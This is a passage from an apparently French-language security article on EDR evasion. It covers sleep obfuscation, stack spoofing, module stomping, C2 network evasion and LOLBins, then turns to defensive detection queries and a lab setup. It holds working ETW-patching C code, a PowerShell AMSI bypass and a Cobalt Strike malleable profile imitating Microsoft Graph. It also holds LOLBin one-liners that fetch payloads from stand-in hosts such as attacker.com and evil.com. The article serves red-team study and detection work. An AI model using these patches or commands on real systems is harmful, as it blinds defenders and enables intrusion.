for (DWORD i = 0; i < ctx->ImageSize; i++) {
mem[i] ^= ctx->Key[i % 16];
}
}
// Callback qui change les permissions mémoire
VOID CALLBACK ProtectCallback(PTP_CALLBACK_INSTANCE Instance,
PVOID Context, PTP_TIMER Timer) {
PSLEEP_CONTEXT ctx = (PSLEEP_CONTEXT)Context;
DWORD oldProtect;
VirtualProtect(ctx->ImageBase, ctx->ImageSize,
PAGE_READWRITE, &oldProtect);
}
// Callback qui restaure les permissions
VOID CALLBACK UnprotectCallback(PTP_CALLBACK_INSTANCE Instance,
PVOID Context, PTP_TIMER Timer) {
PSLEEP_CONTEXT ctx = (PSLEEP_CONTEXT)Context;
DWORD oldProtect;
VirtualProtect(ctx->ImageBase, ctx->ImageSize,
PAGE_EXECUTE_READ, &oldProtect);
}
VOID EkkoSleep(PSLEEP_CONTEXT ctx) {
// 1. Timer T+0ms : Changer permissions à RW
// 2. Timer T+10ms : Chiffrer la mémoire (XOR)
// 3. Timer T+20ms : Dormir (SleepEx via le timer pool)
// 4. Timer T+sleep : Déchiffrer la mémoire
// 5. Timer T+sleep+10: Restaurer permissions à RX
// 6. Signaler l'event de synchronisation
// L'implémentation réelle utilise CreateTimerQueueTimer
// avec des délais calculés pour garantir l'ordre d'exécution
}
Foliage : sleep obfuscation via les APC
Foliage est une variante qui utilise les Asynchronous Procedure Calls (APC) au lieu des timer queues. Les APC sont un mécanisme Windows permettant d'envoyer des fonctions à exécuter dans le contexte d'un thread spécifique. Foliage envoie une série d'APC au thread principal de l'implant, chacun effectuant une étape du processus de chiffrement/déchiffrement. L'avantage par rapport à Ekko est que les APC s'exécutent dans le contexte du thread de l'implant (plutôt que dans un worker thread du pool), ce qui peut produire une call stack plus naturelle dans certaines configurations.
Heap Encryption : protéger les données en mémoire
Au-delà du code de l'implant lui-même, les données manipulées par l'implant (configurations C2, clés de chiffrement, credentials volés) résident dans le heap du processus et sont également vulnérables aux scans mémoire. Le heap encryption consiste à chiffrer ces données sensibles en mémoire lorsqu'elles ne sont pas activement utilisées. Des implants comme Cobalt Strike utilisent désormais le « heap masking » qui XOR le contenu du heap avec une clé aléatoire pendant les phases de sommeil.
Stack Spoofing : falsifier la pile d'appels
Le stack spoofing est une technique complémentaire aux syscalls indirects qui vise à falsifier l'intégralité de la call stack pour qu'elle ressemble à une pile d'appels légitime. Lorsqu'un EDR examine la call stack d'un thread au moment d'un syscall ou d'un scan mémoire, il s'attend à voir une chaîne de frames de retour pointant vers des modules connus (kernel32.dll, ntdll.dll, etc.).
Si un frame pointe vers une zone mémoire « unbacked » (non associée à un fichier sur le disque, typiquement une allocation RWX contenant du shellcode), c'est un indicateur fort de compromission. Le stack spoofing falsifie ces frames de retour pour qu'ils pointent vers des adresses dans des modules légitimes, créant l'illusion d'une pile d'appels normale.
La technique la plus connue est ThreadStackSpoofer de mgeeky, qui manipule le registre RSP et les frames de retour sur la pile avant de s'endormir. Lors du réveil, les vrais frames sont restaurés pour reprendre l'exécution normale.
Module Stomping : se cacher dans un module légitime
Le module stomping (ou DLL hollowing) consiste à charger une DLL légitime et signée dans le processus, puis à écraser son contenu en mémoire avec le payload malveillant. L'avantage est que la mémoire contenant le code malveillant est associée à un fichier légitime sur le disque (« backed memory »), ce qui contourne la détection des allocations mémoire non backées. Les EDR qui vérifient si la mémoire exécutable est associée à un fichier légitime (une technique de détection appelée « private memory detection ») seront trompés car la mémoire apparaît comme appartenant à la DLL légitime.
Le choix de la DLL cible est important : elle doit être suffisamment grande pour contenir le payload, ne pas être fréquemment utilisée (pour éviter les crashes), et sa taille en mémoire ne doit pas être trop différente de sa taille sur le disque (certains EDR comparent les deux). Des DLL comme amsi.dll, clrjit.dll ou des DLL d'imprimante peu utilisées sont des choix courants.
En 2026, les techniques d'évasion mémoire comme le sleep obfuscation (Ekko, Foliage), le heap encryption, le stack spoofing et le module stomping représentent la frontière la plus active de la recherche en contournement EDR. Un implant C2 moderne doit combiner toutes ces techniques simultanément pour résister aux scans mémoire périodiques, à l'analyse de la call stack, et à la détection de mémoire non backée. L'absence de même une seule de ces protections peut suffire à déclencher une détection, ce qui illustre l'approche défensive en profondeur adoptée par les EDR les plus avancés.
Bypass ETW et AMSI : neutraliser la télémétrie
ETW et AMSI sont deux sources de télémétrie critiques que les EDR exploitent pour détecter les activités malveillantes. Le patching de ces mécanismes est souvent l'une des premières actions d'un implant C2 après avoir obtenu l'exécution initiale, car il permet de blinder les opérations subséquentes contre la détection basée sur la télémétrie.
ETW Patching : aveugler la télémétrie système
Le patching d'ETW consiste à modifier en mémoire les fonctions responsables de la génération d'événements ETW pour les rendre inopérantes. La technique la plus simple cible la fonction EtwEventWrite dans ntdll.dll en la patchant avec un ret immédiat :
// ETW Patching - désactiver la génération d'événements ETW
#include <windows.h>
BOOL PatchETW() {
// Localiser EtwEventWrite dans ntdll.dll
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PVOID pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
if (!pEtwEventWrite) return FALSE;
// Patch : remplacer le début de la fonction par "xor eax,eax; ret"
// Cela fait retourner la fonction immédiatement avec STATUS_SUCCESS (0)
BYTE patch[] = { 0x48, 0x33, 0xC0, 0xC3 }; // xor rax,rax; ret
DWORD oldProtect;
VirtualProtect(pEtwEventWrite, sizeof(patch),
PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(pEtwEventWrite, patch, sizeof(patch));
VirtualProtect(pEtwEventWrite, sizeof(patch),
oldProtect, &oldProtect);
return TRUE;
}
// Variante : patcher le provider spécifique plutôt que EtwEventWrite globalement
// Cela est plus discret car les autres providers ETW continuent de fonctionner
BOOL PatchETWProvider(LPCGUID providerId) {
// Utiliser NtQuerySystemInformation avec SystemEtwRegistrationInformation
// pour trouver l'enregistrement du provider, puis patcher son EnableCallback
// ou modifier son EnableMask pour désactiver la génération d'événements
// pour ce provider spécifique uniquement.
return TRUE;
}
Des variantes plus sophistiquées ciblent des providers ETW spécifiques plutôt que de désactiver ETW globalement. Par exemple, un attaquant peut cibler uniquement le provider Microsoft-Windows-Threat-Intelligence (qui rapporte les opérations mémoire inter-processus) tout en laissant les autres providers fonctionner normalement. Cela réduit les chances de détection car la disparition complète de toute télémétrie ETW est elle-même un signal d'alarme détectable.
AMSI Bypass : contourner l'analyse des scripts
Le bypass AMSI est probablement la technique de contournement la plus démocratisée, avec des dizaines de variantes publiées. La méthode classique consiste à patcher la fonction AmsiScanBuffer dans amsi.dll pour qu'elle retourne toujours AMSI_RESULT_CLEAN, indiquant que le contenu analysé est sûr :
# AMSI Bypass PowerShell - patch de AmsiScanBuffer
# Note : ce code est détecté par la plupart des EDR et nécessite
# lui-même une obfuscation pour fonctionner
$patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
# mov eax, 0x80070057 (E_INVALIDARG) ; ret
# Fait retourner AmsiScanBuffer avec une erreur, ce qui est traité
# comme "pas de menace détectée" par le runtime PowerShell
$address = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(Get-ProcAddr amsi.dll AmsiScanBuffer),
[Func[IntPtr, UInt32, IntPtr, IntPtr, [Runtime.InteropServices.Marshal+AMSI_RESULT], Int32]]
).Method.MethodHandle.GetFunctionPointer()
# Obtenir les permissions d'écriture sur la page mémoire
$oldProtect = 0
[Win32]::VirtualProtect($address, [uint32]$patch.Length, 0x40, [ref]$oldProtect)
# Appliquer le patch
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $address, $patch.Length)
# Restaurer les permissions
[Win32]::VirtualProtect($address, [uint32]$patch.Length, $oldProtect, [ref]$oldProtect)
Les EDR détectent les bypass AMSI classiques via plusieurs méthodes : surveillance des modifications de la section .text d'amsi.dll, hooks sur VirtualProtect quand la cible est amsi.dll, et détection des patterns connus de bypass dans le script lui-même (avant le patch). Les variantes modernes utilisent des techniques comme le hardware breakpoint hijacking (qui utilise les registres de debug CPU pour intercepter l'exécution d'AmsiScanBuffer sans modifier la mémoire) ou le remplacement du provider AMSI enregistré par un provider fictif qui retourne toujours « clean ».
Évasion réseau : masquer les communications C2
Le contournement de la détection réseau est un aspect souvent sous-estimé du bypass EDR. Même si un implant évite toute détection sur l'endpoint, ses communications avec le serveur de commande et contrôle (C2) peuvent être identifiées par les composants réseau de l'EDR ou par des solutions NTA (Network Traffic Analysis) dédiées. Les techniques d'évasion réseau visent à rendre ces communications indistinguables du trafic légitime.
Domain Fronting : se cacher derrière les CDN
Le domain fronting exploite la différence entre le SNI (Server Name Indication) dans le TLS handshake et le header Host HTTP. L'attaquant configure son C2 derrière un CDN comme Cloudflare, Amazon CloudFront, ou Azure CDN. Le trafic C2 utilise le domaine du CDN dans le SNI (par exemple cdn.cloudflare.com), ce qui apparaît comme du trafic légitime vers le CDN. Le véritable domaine C2 est spécifié dans le header Host HTTP, qui est chiffré dans le tunnel TLS et donc invisible pour l'inspection réseau.
Bien que de nombreux providers CDN aient pris des mesures pour empêcher le domain fronting (Amazon l'a bloqué en 2018), des variantes restent possibles via certains CDN et des techniques comme le « domain borrowing » qui utilise des sous-domaines de services cloud légitimes.
DNS over HTTPS et DNS tunneling
Le DNS tunneling encapsule les communications C2 dans des requêtes et réponses DNS. Chaque commande envoyée par le C2 est encodée dans un enregistrement DNS (TXT, CNAME, AAAA), et les réponses de l'implant sont encodées dans les sous-domaines des requêtes DNS. Le DNS over HTTPS (DoH) ajoute une couche supplémentaire en chiffrant les requêtes DNS dans des connexions HTTPS vers des résolveurs publics comme dns.google ou cloudflare-dns.com, rendant l'inspection du contenu DNS impossible sans déchiffrement TLS.
La détection du DNS tunneling repose sur l'analyse statistique du trafic DNS : entropie élevée des sous-domaines, longueur inhabituelle des requêtes, volume anormal de requêtes vers un même domaine, et utilisation de types d'enregistrements peu communs (TXT, NULL).
Cloud C2 : utiliser les services cloud légitimes
L'utilisation de services cloud légitimes comme canal C2 est devenue une tendance majeure. Les implants peuvent communiquer via des API de services comme OneDrive, Google Drive, Slack, Discord, Telegram, ou AWS S3. Le trafic vers ces services est considéré comme légitime par la plupart des solutions de sécurité réseau, et le chiffrement TLS empêche l'inspection du contenu.
Des frameworks comme C3 (Custom Command and Control) de F-Secure permettent de créer facilement des canaux C2 sur mesure utilisant ces services cloud. L'implant peut par exemple déposer ses résultats chiffrés dans un fichier sur OneDrive et récupérer ses commandes depuis un autre fichier, le tout via les API officielles de Microsoft avec des tokens OAuth valides.
Malleable Profiles : personnaliser l'empreinte réseau
Les malleable profiles (ou malleable C2 profiles) permettent de personnaliser intégralement l'empreinte réseau des communications C2. Popularisés par Cobalt Strike, ils permettent de définir les URI, les headers HTTP, les cookies, le user-agent, le certificat TLS, le timing des communications, et même l'encodage du payload dans les requêtes et réponses HTTP. Un profil bien conçu peut imiter parfaitement le trafic d'une application web légitime spécifique (par exemple, les requêtes API de Microsoft Teams ou de Google Workspace).
# Exemple simplifié de malleable profile (Cobalt Strike)
# Ce profil imite le trafic de l'API Microsoft Graph
set sleeptime "60000"; # 60 secondes entre les callbacks
set jitter "37"; # 37% de variation aléatoire
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)";
https-certificate {
set CN "graph.microsoft.com";
set O "Microsoft Corporation";
}
http-get {
set uri "/v1.0/me/drive/root/children";
client {
header "Accept" "application/json";
header "Authorization" "Bearer eyJ0eXAiOiJKV1Q...";
metadata {
base64url;
parameter "filter"; # Les données sont encodées dans le paramètre filter
}
}
server {
header "Content-Type" "application/json; odata.metadata=minimal";
header "x-ms-ags-diagnostic" "{\"ServerInfo\":{\"DataCenter\":\"West Europe\"}}";
output {
base64url;
prepend "{\"@odata.context\":\"https://graph.microsoft.com/v1.0/$metadata#users('user%40domain.com')/drive/root/children\",\"value\":[{\"name\":\"";
append "\"}]}";
print;
}
}
}
http-post {
set uri "/v1.0/me/drive/root:/Documents/report.xlsx:/content";
client {
header "Content-Type" "application/octet-stream";
id {
base64url;
header "X-Request-Id";
}
output {
base64url;
print;
}
}
server {
output {
print;
}
}
}
La détection des malleable profiles repose sur l'analyse JA3/JA3S (empreintes TLS), la corrélation temporelle des communications (patterns réguliers même avec jitter), et la comparaison du trafic observé avec les vrais patterns de l'application imitée. Pour approfondir l'utilisation des outils natifs de Windows dans le cadre d'attaques, consultez notre article sur les techniques Living off the Land à grande échelle.
LOLBins : Living off the Land pour contourner l'EDR
Les LOLBins (Living off the Land Binaries) sont des programmes légitimes préinstallés sur Windows qui peuvent être détournés pour exécuter du code malveillant, télécharger des fichiers, ou contourner les contrôles de sécurité. Leur utilisation dans le cadre du bypass EDR est particulièrement efficace car ces binaires sont signés par Microsoft, whitelistés par défaut, et leur exécution est considérée comme normale par la plupart des solutions de détection.
LOLBins classiques pour l'exécution de code
MSBuild.exe : le compilateur de projets Microsoft peut exécuter du code C# inline défini dans un fichier de projet XML. L'EDR voit MSBuild.exe charger un fichier .csproj — une opération parfaitement légitime dans un environnement de développement — mais le fichier contient en réalité du code d'attaque compilé et exécuté à la volée.
Regsvr32.exe : conçu pour enregistrer des DLL COM, il peut être utilisé avec l'option /s /n /u /i:http://attacker.com/payload.sct scrobj.dll pour télécharger et exécuter un scriptlet COM depuis un serveur distant, en contournant les politiques AppLocker.
Rundll32.exe : permet d'exécuter des fonctions exportées depuis n'importe quelle DLL, incluant des DLL malveillantes. Il peut aussi charger des DLL depuis des partages réseau (SMB) ou des URLs.
WMIC.exe : l'interface en ligne de commande de WMI peut exécuter des scripts XSL contenant du code JScript ou VBScript via la commande wmic process get /format:evil.xsl.
LOLBins pour le téléchargement et le proxy d'exécution
Certutil.exe : outil de gestion des certificats qui inclut une fonctionnalité de téléchargement de fichiers (certutil -urlcache -f http://evil.com/payload.exe payload.exe) et de décodage Base64, ce qui en fait un outil polyvalent pour le staging de payloads.
BITSAdmin.exe : le service BITS (Background Intelligent Transfer Service) est conçu pour les téléchargements en arrière-plan résistants aux interruptions réseau. Il peut être utilisé pour télécharger discrètement des payloads, et les transferts BITS persistent même après un redémarrage.
PowerShell : bien que fortement surveillé par les EDR modernes (via AMSI, Script Block Logging, et Constrained Language Mode), PowerShell reste un LOLBin puissant lorsque combiné avec des techniques d'obfuscation avancées et des bypass AMSI.
LOLBins pour la persistance
Schtasks.exe / at.exe : création de tâches planifiées pour la persistance, exécution différée de payloads.
Reg.exe : modification de clés de registre pour la persistance (Run, RunOnce, Winlogon).
Sc.exe : création et modification de services Windows pour une persistance au niveau système.
Les EDR modernes détectent l'abus de LOLBins par l'analyse comportementale : un certutil.exe téléchargeant un exécutable depuis une URL externe est suspect, même si le binaire lui-même est légitime. La corrélation des événements (par exemple, un document Office qui lance cmd.exe qui exécute certutil.exe) renforce la détection. Cependant, les faux positifs sont fréquents car ces binaires sont aussi utilisés légitimement, ce qui force les équipes SOC à gérer un ratio signal/bruit parfois défavorable.
Outils Red Team pour le bypass EDR
L'écosystème des frameworks C2 (Command and Control) a considérablement évolué ces dernières années, avec une convergence vers des architectures modulaires intégrant nativement les techniques de bypass EDR les plus avancées. Chaque framework adopte une approche différente de l'évasion, et le choix de l'outil dépend du contexte de la mission, de l'EDR cible, et du niveau de sophistication requis.
Sliver : le successeur open source de Cobalt Strike
Sliver, développé par BishopFox, est un framework C2 open source écrit en Go. Son principal avantage est la génération d'implants compilés en Go, ce qui produit des binaires qui ne partagent pas les IoC (Indicators of Compromise) communs aux implants C/C++ traditionnels. Sliver supporte les canaux C2 HTTP(S), DNS, WireGuard, et mTLS, avec des malleable profiles pour personnaliser l'empreinte réseau. Ses limitations incluent la taille relativement importante des implants Go (plusieurs mégaoctets) et l'absence de certaines techniques d'évasion avancées disponibles dans les frameworks commerciaux.
Havoc : le framework C2 nouvelle génération
Havoc, créé par C5pider (le même chercheur derrière Ekko), est un framework C2 qui a été conçu dès le départ avec le bypass EDR comme priorité. L'agent Demon, l'implant par défaut de Havoc, intègre nativement les syscalls indirects, le sleep obfuscation (Ekko et Foliage), le stack spoofing, et le module stomping. Havoc utilise une architecture à plugins (BOF — Beacon Object Files, compatible avec Cobalt Strike) et supporte les tokens Windows pour l'impersonation de privilèges. Étant open source et activement développé, Havoc est devenu le choix privilégié de nombreuses équipes Red Team pour les missions où un framework ouvert et personnalisable est préféré.
Brute Ratel C4 : conçu pour l'évasion
Brute Ratel C4 (BRc4), développé par Chetan Nayak (Paranoid Ninja), est un framework C2 commercial explicitement conçu pour contourner les EDR. BRc4 intègre des techniques d'évasion que l'on ne trouve pas dans les frameworks open source : unhooking automatique au lancement de l'implant, syscalls indirects avec rotation des SSN, sleep obfuscation multi-technique, stack spoofing avec call stack synthétique complète, et ETW/AMSI patching préventif. BRc4 a fait la une de l'actualité cyber en 2022 quand des versions crackées ont été trouvées dans des opérations de cybercriminalité, démontrant l'efficacité de ses capacités d'évasion contre les EDR commerciaux.
NightHawk : la sophistication maximale
NightHawk, développé par MDSec, est considéré comme l'un des frameworks C2 les plus avancés en termes de bypass EDR. Parmi ses fonctionnalités uniques : la capacité à exécuter du code dans le contexte de threads légitimes via le thread pool hijacking, l'utilisation de RPC (Remote Procedure Call) comme canal de communication inter-processus au lieu des techniques d'injection classiques, et un moteur de polymorphisme qui modifie la signature de l'implant à chaque compilation. NightHawk est réservé aux équipes Red Team vérifiées et son accès est strictement contrôlé pour limiter les abus.
Custom Loaders : l'approche artisanale
Au-delà des frameworks C2 établis, de nombreuses équipes Red Team développent des loaders sur mesure qui combinent les techniques d'évasion les plus récentes pour le contexte spécifique de leur mission. Un loader custom peut par exemple utiliser les API Windows undocumented pour la résolution d'adresses, combiner plusieurs techniques de sleep obfuscation, et implémenter un protocole C2 entièrement personnalisé basé sur un service cloud spécifique. L'avantage principal est l'absence de signatures connues : les EDR ne peuvent pas créer de règles statiques pour des outils qui n'existent qu'en un seul exemplaire.
| Framework | Licence | Langage implant | Syscalls | Sleep obfuscation | Stack spoof | Module stomping |
|---|---|---|---|---|---|---|
| Cobalt Strike | Commercial | C (Beacon) | Direct (BOF) | Basique | Non natif | Non natif |
| Sliver | Open source | Go | Non natif | Non | Non | Non |
| Havoc | Open source | C (Demon) | Indirect | Ekko/Foliage | Oui | Oui |
| Brute Ratel C4 | Commercial | C (Badger) | Indirect | Multi-technique | Oui | Oui |
| NightHawk | Commercial (restreint) | C/C++ | Indirect avancé | Propriétaire | Avancé | Avancé |
| Mythic | Open source | Variable (agents) | Selon l'agent | Selon l'agent | Selon l'agent | Selon l'agent |
Défense : comment détecter les techniques de bypass EDR
La détection des techniques de bypass EDR est un défi considérable car, par définition, ces techniques visent à échapper aux mécanismes de détection en place. Cependant, chaque technique de contournement laisse des traces — parfois subtiles — que des défenseurs informés et outillés peuvent identifier. Cette section présente les stratégies et techniques de détection les plus efficaces pour les équipes Blue Team et les analystes SOC. Pour une vue d'ensemble des techniques de contournement les plus récentes, consultez notre guide complet sur le bypass EDR en 2026.
Canary Hooks et intégrité des hooks
Une approche proactive pour détecter l'unhooking consiste à implémenter des « canary hooks » — des hooks qui ne sont pas utilisés pour la détection active mais dont la suppression est elle-même un signal d'alerte. L'EDR peut placer des hooks sur des fonctions rarement utilisées dans des contextes malveillants, et vérifier périodiquement leur intégrité. Si ces hooks sont supprimés (signe d'un unhooking en masse), l'EDR sait qu'une opération de bypass est en cours.
De manière plus sophistiquée, certains EDR utilisent des guard pages (pages mémoire avec le drapeau PAGE_GUARD) sur la section .text de ntdll.dll. Toute écriture dans cette section déclenche une exception structurée (STATUS_GUARD_PAGE_VIOLATION) que le driver EDR peut intercepter, alertant immédiatement sur une tentative d'unhooking.
Kernel Telemetry : l'observabilité au-delà des hooks
La télémétrie kernel est la couche de détection la plus robuste car elle ne peut pas être contournée depuis l'espace utilisateur. Les EDR avancés utilisent le provider ETW Microsoft-Windows-Threat-Intelligence, accessible uniquement aux processus PPL (Protected Process Light), pour recevoir des notifications sur les opérations mémoire inter-processus. Ce provider rapporte les appels à NtAllocateVirtualMemory, NtWriteVirtualMemory, et NtProtectVirtualMemory ciblant d'autres processus, même si les hooks userland ont été supprimés ou contournés par des syscalls directs. C'est la raison pour laquelle les techniques userland seules ne suffisent plus contre les EDR les plus avancés — la télémétrie kernel capture les opérations quel que soit le chemin d'exécution emprunté.
Détection comportementale et heuristiques
La détection comportementale analyse les séquences d'actions plutôt que les actions individuelles. Voici les patterns comportementaux les plus révélateurs de tentatives de bypass EDR :
Pattern d'unhooking : un processus qui lit ntdll.dll depuis le disque ou depuis \KnownDlls, puis appelle VirtualProtect avec PAGE_EXECUTE_READWRITE sur la section .text de ntdll en mémoire, suivi d'un WriteProcessMemory ou memcpy ciblant cette même section.
Pattern de syscall direct : analyse de la call stack au moment d'un syscall. Si l'instruction syscall est exécutée depuis une adresse en dehors de ntdll (pour les syscalls directs) ou si la call stack contient des frames dans de la mémoire non backée, c'est un indicateur fort.
Pattern d'injection : la séquence classique VirtualAllocEx (allocation mémoire dans un processus distant) → WriteProcessMemory (écriture du payload) → CreateRemoteThread ou QueueUserAPC (exécution du payload) est détectable même avec des variantes car la sémantique reste la même.
Pattern de sleep obfuscation : modification périodique des permissions mémoire (RX → RW → RX) sur les mêmes pages, avec un pattern temporel régulier correspondant aux intervalles de beaconing de l'implant.
Threat Hunting : règles de détection proactives
Le threat hunting pour les bypass EDR repose sur l'analyse proactive de la télémétrie à la recherche d'anomalies subtiles. Voici des exemples de requêtes de threat hunting (en pseudo-KQL pour Elastic/Microsoft Defender) :
// Détection de PPID spoofing
// Chercher les processus dont le parent réel diffère du parent déclaré
DeviceProcessEvents
| where InitiatingProcessParentId != ParentProcessId
| where not (ProcessCommandLine contains "svchost"
and InitiatingProcessName == "services.exe")
| project Timestamp, DeviceName, FileName, ProcessCommandLine,
ParentProcessId, InitiatingProcessParentId
// Détection de module stomping
// Chercher les processus avec des modules dont la section .text diffère du disque
DeviceImageLoadEvents
| where FileName endswith ".dll"
| join kind=inner (
DeviceFileCertificateInfo
| where IsSigned == true
) on SHA1
| where MemoryTextSectionHash != DiskTextSectionHash
// Détection d'ETW patching
// Alerter sur les processus qui appellent VirtualProtect
// sur les adresses d'EtwEventWrite
DeviceEvents
| where ActionType == "MemoryProtectionChanged"
| where TargetModule == "ntdll.dll"
| where TargetFunction in ("EtwEventWrite", "EtwEventWriteFull",
"NtTraceEvent")
Détection par intégrité de la mémoire
Les EDR avancés effectuent des scans d'intégrité mémoire qui comparent le contenu en mémoire des DLL système critiques avec leur version sur le disque. Toute modification de la section .text de ntdll.dll, kernel32.dll, ou amsi.dll en mémoire est un indicateur de compromission. Cette technique détecte l'unhooking (restauration des octets originaux de ntdll), le patching ETW (modification d'EtwEventWrite), le bypass AMSI (modification d'AmsiScanBuffer), et le module stomping (remplacement du contenu d'une DLL légitime). Certains EDR comme Elastic Endpoint Security effectuent ces vérifications à des intervalles réguliers et lors de chaque création de thread, rendant les modifications mémoire de plus en plus risquées pour les attaquants.
Comparatif des EDR face aux techniques d'évasion
Le niveau de protection offert par les différents EDR varie considérablement face aux techniques de bypass. Ce comparatif, basé sur les tests publics de chercheurs en sécurité et les résultats d'évaluations MITRE Engenuity ATT&CK, présente les forces et faiblesses des principales solutions. Il est important de noter que les EDR évoluent rapidement et qu'un contournement fonctionnel un mois donné peut être détecté le mois suivant suite à une mise à jour des règles de détection.
| Technique de bypass | CrowdStrike Falcon | Microsoft Defender for Endpoint | SentinelOne Singularity | Elastic Endpoint | Palo Alto Cortex XDR |
|---|---|---|---|---|---|
| Unhooking ntdll (remap) | Détecté (kernel telemetry) | Détecté (ETW-Ti) | Détecté (module integrity) | Détecté (memory scan) | Partiellement détecté |
| Syscalls directs | Détecté (call stack analysis) | Détecté (ETW-Ti + call stack) | Détecté (call stack) | Partiellement détecté | Partiellement détecté |
| Syscalls indirects | Partiellement détecté | Partiellement détecté | Partiellement détecté | Difficile à détecter | Difficile à détecter |
| Sleep obfuscation (Ekko) | Détecté (timer queue monitoring) | Partiellement détecté | Partiellement détecté | Difficile à détecter | Difficile à détecter |
| Stack spoofing | Partiellement détecté | Partiellement détecté | Difficile à détecter | Difficile à détecter | Difficile à détecter |
| Module stomping | Détecté (memory integrity) | Partiellement détecté | Détecté (image load callback) | Détecté (memory scan) | Partiellement détecté |
| BYOVD | Détecté (driver blocklist) | Détecté (HVCI + blocklist) | Partiellement détecté | Alerté (driver load events) | Partiellement détecté |
| Callback suppression | Auto-healing (réinstallation) | Protégé (PPL) | Détecté (tamper protection) | Alerté (callback monitoring) | Partiellement protégé |
| ETW patching | Détecté (ETW integrity check) | Détecté (PPL protection) | Détecté (memory integrity) | Détecté (periodic scan) | Partiellement détecté |
| PPID spoofing | Détecté (kernel callback) | Détecté (kernel callback) | Détecté (kernel callback) | Détecté (kernel callback) | Détecté (kernel callback) |
| Domain fronting | Alerté (TLS inspection) | Dépend de la config réseau | Limité (endpoint-focused) | Via integration NTA | Détecté (Prisma Access) |
Ce comparatif révèle plusieurs tendances importantes. Premièrement, les techniques ciblant les hooks userland (unhooking, syscalls directs) sont de plus en plus détectées grâce à la télémétrie kernel et l'analyse de la call stack. Deuxièmement, les techniques d'évasion mémoire (sleep obfuscation, stack spoofing) restent les plus difficiles à détecter pour la majorité des EDR. Troisièmement, CrowdStrike et Microsoft Defender for Endpoint offrent la couverture la plus large grâce à leur combinaison de télémétrie kernel, d'analyse comportementale cloud, et de protection PPL. Enfin, le PPID spoofing est universellement détecté car la vérification se fait au niveau du kernel callback, inaccessible depuis l'espace utilisateur.
Le comparatif montre qu'aucune solution EDR ne détecte efficacement l'ensemble des techniques de bypass. Les techniques les plus avancées — syscalls indirects combinés au sleep obfuscation et au stack spoofing — restent difficiles à détecter pour tous les EDR testés. La défense efficace nécessite donc une approche multi-couches combinant l'EDR avec du threat hunting proactif, de l'analyse réseau (NTA), du contrôle d'accès strict (LAPS, PAM), et une hygiène de sécurité rigoureuse pour réduire la surface d'attaque initiale.
Lab pratique : environnement de test pour le bypass EDR
La mise en place d'un laboratoire de test est essentielle pour comprendre et évaluer les techniques de bypass EDR dans un environnement contrôlé. Cette section décrit la construction d'un lab complet permettant de tester les techniques présentées dans cet article, en utilisant des outils accessibles et des EDR disponibles en version d'évaluation.
Architecture du lab
Le lab minimal recommandé comprend trois machines virtuelles. La première est une machine Windows 10/11 cible avec un EDR installé — Elastic Endpoint Security (gratuit et open source via la licence Elastic) ou Microsoft Defender for Endpoint (version d'évaluation de 90 jours) sont d'excellents choix. La deuxième est une machine Kali Linux ou Ubuntu servant de serveur C2 pour les frameworks offensifs. La troisième est une machine Windows 10/11 « propre » servant d'environnement de développement pour compiler les loaders et payloads. Les trois machines doivent être sur un réseau isolé (host-only ou NAT interne) pour éviter tout risque de compromission accidentelle de systèmes de production.
Installation d'Elastic EDR pour le lab
Elastic Endpoint Security est le choix recommandé pour un lab de test car il est open source, gratuit pour une utilisation locale, et offre une visibilité excellente sur les événements de détection. L'installation se fait en déployant Elasticsearch et Kibana sur la machine Linux, puis en installant l'Elastic Agent avec l'intégration Endpoint Security sur la machine Windows cible. Consultez la documentation officielle d'Elastic Security pour le guide d'installation détaillé.
# Sur la machine Linux (Kali/Ubuntu) — installation Elastic Stack
# Télécharger et installer Elasticsearch
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-8.x.x-amd64.deb
sudo dpkg -i elasticsearch-8.x.x-amd64.deb
sudo systemctl enable --now elasticsearch
# Télécharger et installer Kibana
wget https://artifacts.elastic.co/downloads/kibana/kibana-8.x.x-amd64.deb
sudo dpkg -i kibana-8.x.x-amd64.deb
sudo systemctl enable --now kibana
# Configurer Fleet Server pour la gestion des agents
# Accéder à Kibana → Fleet → Add Fleet Server
# Sur la machine Windows cible — installation de l'Elastic Agent
# Télécharger l'agent depuis Fleet dans Kibana
# Exécuter l'installation avec la policy Endpoint Security
.\elastic-agent.exe install --url=https://fleet-server:8220 --enrollment-token=TOKEN
Configuration de Windows Defender for Endpoint
Si vous optez pour Microsoft Defender for Endpoint, Microsoft propose une version d'évaluation de 90 jours via le programme Microsoft 365 Defender Trial. Cette version inclut toutes les fonctionnalités de détection, y compris l'analyse comportementale cloud, la détection de mémoire, et les alertes EDR avancées. L'avantage de MDE est sa télémétrie cloud avancée qui peut détecter des menaces que les solutions on-premise manquent.
Méthodologie de test structurée
Pour chaque technique de bypass testée, suivez cette méthodologie en quatre étapes :
Étape 1 — Baseline : exécutez le payload sans aucune technique de bypass. Documentez les détections générées par l'EDR (alertes, événements, détails de l'analyse).
Étape 2 — Implémentation unitaire : appliquez une seule technique de bypass (par exemple, uniquement les syscalls directs) et observez quelles détections disparaissent et lesquelles persistent.
Étape 3 — Chaîne d'évasion : combinez progressivement plusieurs techniques (syscalls indirects + sleep obfuscation + stack spoofing) pour identifier la combinaison minimale nécessaire pour échapper à la détection.
Étape 4 — Validation défensive : pour chaque technique de bypass réussie, développez une règle de détection personnalisée (Elastic SIEM rule, KQL query) qui permet de détecter la technique malgré le contournement de l'EDR.
Exercice pratique : tester l'unhooking de ntdll
Voici un exercice guidé pour observer le comportement d'un EDR face à l'unhooking :
// Outil de diagnostic : vérifier les hooks EDR sur ntdll.dll
// Compile : cl.exe /EHsc hook_detector.c
#include <windows.h>
#include <stdio.h>
// Liste des fonctions Nt* critiques à vérifier
const char* targetFunctions[] = {
"NtAllocateVirtualMemory",
"NtWriteVirtualMemory",
"NtCreateThreadEx",
"NtProtectVirtualMemory",
"NtMapViewOfSection",
"NtQueueApcThread",
"NtCreateSection",
"NtOpenProcess",
"NtReadVirtualMemory",
"NtCreateFile",
NULL
};
void CheckForHooks() {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
for (int i = 0; targetFunctions[i] != NULL; i++) {
